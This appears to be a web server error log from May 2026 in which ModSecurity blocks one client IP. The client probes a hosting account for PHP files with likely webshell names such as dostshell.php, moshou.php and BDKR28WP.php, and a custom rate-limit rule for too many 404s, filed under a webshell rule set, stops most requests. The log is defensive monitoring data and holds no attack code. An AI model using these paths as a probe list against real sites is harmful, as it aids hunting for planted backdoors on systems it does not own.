[Sat May 23 03:39:57.979909 2026] [:error] [pid 30366:tid 30390] [client 135.119.49.97:5329] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "ahCxDYvyrqclk5U3UnS2ZQAAAVY"]
[Sat May 23 03:39:59.123868 2026] [:error] [pid 30366:tid 30385] [client 135.119.49.97:34148] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "ahCxD4vyrqclk5U3UnS2cAAAAVE"]
[Sat May 23 03:40:03.669401 2026] [:error] [pid 30271:tid 30312] [client 135.119.49.97:5325] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "ahCxE53WaQ7jGAJY8Oi-ygAAAMw"]
[Sat May 23 03:40:05.666052 2026] [:error] [pid 30366:tid 30390] [client 135.119.49.97:30629] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "ahCxFYvyrqclk5U3UnS2hAAAAVY"]
[Sat May 23 03:40:06.647365 2026] [:error] [pid 30269:tid 30283] [client 135.119.49.97:30616] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "ahCxFr76D_Os3EFB67CIcgAAAIo"]
[Sat May 23 03:40:08.266511 2026] [:error] [pid 30366:tid 30379] [client 135.119.49.97:29400] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "ahCxGIvyrqclk5U3UnS2iwAAAUs"]
[Sat May 23 03:40:09.839152 2026] [:error] [pid 30271:tid 30318] [client 135.119.49.97:34164] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "ahCxGZ3WaQ7jGAJY8Oi-2gAAANI"]
[Sat May 23 03:40:11.810907 2026] [:error] [pid 30271:tid 30320] [client 135.119.49.97:29379] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "ahCxG53WaQ7jGAJY8Oi-5gAAANQ"]
[Sat May 23 03:40:13.131530 2026] [:error] [pid 30271:tid 30304] [client 135.119.49.97:34123] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "ahCxHZ3WaQ7jGAJY8Oi-7gAAAMQ"]
[Sat May 23 03:40:15.315691 2026] [:error] [pid 30337:tid 30339] [client 135.119.49.97:28620] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "ahCxH-vBcBevG0QiH48tlQAAAQA"]
[Sat May 23 03:40:17.739810 2026] [:error] [pid 30337:tid 30347] [client 135.119.49.97:64512] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "ahCxIevBcBevG0QiH48tmwAAAQg"]
[Sat May 23 03:40:20.908909 2026] [:error] [pid 30271:tid 30310] [client 135.119.49.97:5330] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "ahCxJJ3WaQ7jGAJY8Oi-9QAAAMo"]
[Sat May 23 03:40:23.036798 2026] [:error] [pid 30366:tid 30373] [client 135.119.49.97:28669] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "ahCxJ4vyrqclk5U3UnS2qgAAAUU"]
[Sat May 23 03:40:27.700011 2026] [:error] [pid 30337:tid 30350] [client 135.119.49.97:34171] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "ahCxK-vBcBevG0QiH48tvQAAAQs"]
[Sat May 23 03:40:28.626887 2026] [:error] [pid 30269:tid 30284] [client 135.119.49.97:34166] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "ahCxLL76D_Os3EFB67CIpwAAAIs"]
[Sat May 23 03:40:40.754080 2026] [:error] [pid 30337:tid 30354] [client 135.119.49.97:5316] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Sat May 23 03:40:41.262931 2026] [:error] [pid 30337:tid 30362] [client 135.119.49.97:5316] File does not exist: /usr/local/apache/htdocs/suspended-page/pp.php
[Sat May 23 03:40:41.468060 2026] [:error] [pid 30337:tid 30341] [client 135.119.49.97:5316] File does not exist: /usr/local/apache/htdocs/suspended-page/one.php
[Sat May 23 03:40:41.748965 2026] [:error] [pid 30337:tid 30348] [client 135.119.49.97:5316] File does not exist: /usr/local/apache/htdocs/suspended-page/error_log.php
[Sat May 23 03:40:42.346765 2026] [:error] [pid 30337:tid 30339] [client 135.119.49.97:5316] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Sat May 23 03:40:42.536760 2026] [:error] [pid 30337:tid 30360] [client 135.119.49.97:5316] File does not exist: /usr/local/apache/htdocs/suspended-page/roksad1.php
[Sat May 23 03:40:42.743506 2026] [:error] [pid 30337:tid 30347] [client 135.119.49.97:5316] File does not exist: /usr/local/apache/htdocs/suspended-page/axe.php
[Sat May 23 03:40:42.938101 2026] [:error] [pid 30337:tid 30349] [client 135.119.49.97:5316] File does not exist: /usr/local/apache/htdocs/suspended-page/de.php
[Sat May 23 03:40:43.484934 2026] [:error] [pid 30337:tid 30355] [client 135.119.49.97:5316] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Sat May 23 03:40:43.688468 2026] [:error] [pid 30337:tid 30359] [client 135.119.49.97:5316] File does not exist: /usr/local/apache/htdocs/suspended-page/100.php
[Sat May 23 03:40:44.019881 2026] [:error] [pid 30337:tid 30363] [client 135.119.49.97:5316] File does not exist: /usr/local/apache/htdocs/suspended-page/f5.php
[Sat May 23 03:40:44.531146 2026] [:error] [pid 30337:tid 30341] [client 135.119.49.97:5316] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "ahCxPOvBcBevG0QiH48uXQAAAQI"]
[Sat May 23 03:40:46.963552 2026] [:error] [pid 30366:tid 30388] [client 135.119.49.97:39932] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "ahCxPovyrqclk5U3UnS3SAAAAVQ"]
[Sat May 23 03:40:49.622151 2026] [:error] [pid 30366:tid 30386] [client 135.119.49.97:29377] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "ahCxQYvyrqclk5U3UnS3WQAAAVI"]
[Sat May 23 03:40:53.905807 2026] [:error] [pid 30271:tid 30307] [client 135.119.49.97:39929] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "ahCxRZ3WaQ7jGAJY8Oi_eAAAAMc"]
[Sat May 23 03:40:56.689541 2026] [:error] [pid 30269:tid 30295] [client 135.119.49.97:31104] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "ahCxSL76D_Os3EFB67CI8AAAAJY"]
[Sat May 23 03:40:59.718788 2026] [:error] [pid 30366:tid 30381] [client 135.119.49.97:34125] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "ahCxS4vyrqclk5U3UnS3dAAAAU0"]
[Sat May 23 03:41:03.212909 2026] [:error] [pid 30366:tid 30368] [client 135.119.49.97:64551] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "ahCxT4vyrqclk5U3UnS3hgAAAUA"]
[Sat May 23 03:41:06.467063 2026] [:error] [pid 30366:tid 30386] [client 135.119.49.97:39159] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "ahCxUovyrqclk5U3UnS3mwAAAVI"]
[Sat May 23 03:41:09.545518 2026] [:error] [pid 30366:tid 30385] [client 135.119.49.97:39896] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "ahCxVYvyrqclk5U3UnS3vwAAAVE"]
[Sat May 23 03:41:15.561700 2026] [:error] [pid 30271:tid 30321] [client 135.119.49.97:35276] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "ahCxW53WaQ7jGAJY8Oi_kQAAANU"]
[Sat May 23 03:41:22.764308 2026] [:error] [pid 30269:tid 30294] [client 135.119.49.97:39905] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/moshou.php"] [unique_id "ahCxYr76D_Os3EFB67CJGgAAAJU"]
[Sat May 23 03:41:23.648500 2026] [:error] [pid 30269:tid 30274] [client 135.119.49.97:31126] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/moshou.php"] [unique_id "ahCxY776D_Os3EFB67CJGwAAAIE"]
[Sat May 23 03:41:24.487596 2026] [:error] [pid 30271:tid 30304] [client 135.119.49.97:39903] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/moshou.php"] [unique_id "ahCxZJ3WaQ7jGAJY8Oi_nwAAAMQ"]
[Sat May 23 03:41:28.418594 2026] [:error] [pid 30366:tid 30391] [client 135.119.49.97:28933] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/moshou.php"] [unique_id "ahCxaIvyrqclk5U3UnS37wAAAVc"]
[Sat May 23 03:41:32.871326 2026] [:error] [pid 30337:tid 30340] [client 135.119.49.97:32993] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "ahCxbOvBcBevG0QiH48uigAAAQE"]
[Sat May 23 03:41:34.355826 2026] [:error] [pid 30366:tid 30374] [client 135.119.49.97:29743] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "ahCxbovyrqclk5U3UnS4AgAAAUY"]
[Sat May 23 03:41:45.937647 2026] [:error] [pid 30366:tid 30372] [client 135.119.49.97:32976] File does not exist: /usr/local/apache/htdocs/suspended-page/zoper1.php
[Sat May 23 03:41:46.129059 2026] [:error] [pid 30366:tid 30371] [client 135.119.49.97:32976] File does not exist: /usr/local/apache/htdocs/suspended-page/19.php
[Sat May 23 03:41:46.394175 2026] [:error] [pid 30366:tid 30370] [client 135.119.49.97:32976] File does not exist: /usr/local/apache/htdocs/suspended-page/geforce.php
[Sat May 23 03:41:46.589086 2026] [:error] [pid 30366:tid 30390] [client 135.119.49.97:32976] File does not exist: /usr/local/apache/htdocs/suspended-page/dostshell.php
[Sat May 23 03:41:46.782500 2026] [:error] [pid 30366:tid 30377] [client 135.119.49.97:32976] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Sat May 23 03:41:46.974370 2026] [:error] [pid 30366:tid 30373] [client 135.119.49.97:32976] File does not exist: /usr/local/apache/htdocs/suspended-page/mar.php
[Sat May 23 03:41:47.165735 2026] [:error] [pid 30366:tid 30374] [client 135.119.49.97:32976] File does not exist: /usr/local/apache/htdocs/suspended-page/casp1.php
[Sat May 23 03:41:47.387507 2026] [:error] [pid 30366:tid 30391] [client 135.119.49.97:32976] File does not exist: /usr/local/apache/htdocs/suspended-page/a1.php
[Sat May 23 03:41:47.584929 2026] [:error] [pid 30366:tid 30375] [client 135.119.49.97:32976] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Sat May 23 03:41:47.781895 2026] [:error] [pid 30366:tid 30384] [client 135.119.49.97:32976] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Sat May 23 03:41:47.974572 2026] [:error] [pid 30366:tid 30380] [client 135.119.49.97:32976] File does not exist: /usr/local/apache/htdocs/suspended-page/xltt.php
[Sat May 23 03:41:48.330739 2026] [:error] [pid 30366:tid 30387] [client 135.119.49.97:32976] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "ahCxfIvyrqclk5U3UnS4KwAAAVM"]
[Sat May 23 03:41:51.604164 2026] [:error] [pid 30337:tid 30356] [client 135.119.49.97:31052] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "ahCxf-vBcBevG0QiH48umAAAARE"]
[Sat May 23 03:41:52.245520 2026] [:error] [pid 30337:tid 30350] [client 135.119.49.97:38285] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "ahCxgOvBcBevG0QiH48umQAAAQs"]
[Sat May 23 03:41:56.495349 2026] [:error] [pid 30271:tid 30320] [client 135.119.49.97:33785] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "ahCxhJ3WaQ7jGAJY8Oi_sAAAANQ"]
[Sat May 23 03:41:58.313854 2026] [:error] [pid 30366:tid 30380] [client 135.119.49.97:64756] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "ahCxhovyrqclk5U3UnS4PAAAAUw"]
[Sat May 23 03:42:00.080126 2026] [:error] [pid 30366:tid 30379] [client 135.119.49.97:28961] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "ahCxiIvyrqclk5U3UnS4QAAAAUs"]
[Sat May 23 03:42:04.064972 2026] [:error] [pid 30337:tid 30354] [client 135.119.49.97:38689] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "ahCxjOvBcBevG0QiH48uowAAAQ8"]
[Sat May 23 03:42:05.687933 2026] [:error] [pid 30337:tid 30353] [client 135.119.49.97:38289] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "ahCxjevBcBevG0QiH48upwAAAQ4"]
[Sat May 23 03:42:07.857971 2026] [:error] [pid 30269:tid 30286] [client 135.119.49.97:32981] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "ahCxj776D_Os3EFB67CJLwAAAI0"]
[Sat May 23 03:42:11.625780 2026] [:error] [pid 30271:tid 30314] [client 135.119.49.97:31896] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "ahCxk53WaQ7jGAJY8Oi_uwAAAM4"]
[Sat May 23 03:42:14.003732 2026] [:error] [pid 30366:tid 30384] [client 135.119.49.97:29760] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "ahCxlovyrqclk5U3UnS4TwAAAVA"]
[Sat May 23 03:42:16.483019 2026] [:error] [pid 30366:tid 30371] [client 135.119.49.97:38707] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "ahCxmIvyrqclk5U3UnS4VAAAAUM"]
[Sat May 23 03:42:17.208224 2026] [:error] [pid 30337:tid 30358] [client 135.119.49.97:31927] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "ahCxmevBcBevG0QiH48usAAAARM"]
[Sat May 23 03:42:21.760744 2026] [:error] [pid 30271:tid 30308] [client 135.119.49.97:31079] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "ahCxnZ3WaQ7jGAJY8Oi_xAAAAMg"]
[Sat May 23 03:42:23.795289 2026] [:error] [pid 30366:tid 30381] [client 135.119.49.97:38681] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "ahCxn4vyrqclk5U3UnS4VwAAAU0"]
[Sat May 23 03:42:25.537114 2026] [:error] [pid 30366:tid 30371] [client 135.119.49.97:33021] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "ahCxoYvyrqclk5U3UnS4WwAAAUM"]
[Sat May 23 03:42:26.786982 2026] [:error] [pid 30337:tid 30352] [client 135.119.49.97:31918] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "ahCxouvBcBevG0QiH48uvgAAAQ0"]
[Sat May 23 03:42:28.487945 2026] [:error] [pid 30366:tid 30392] [client 135.119.49.97:36055] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "ahCxpIvyrqclk5U3UnS4YwAAAVg"]
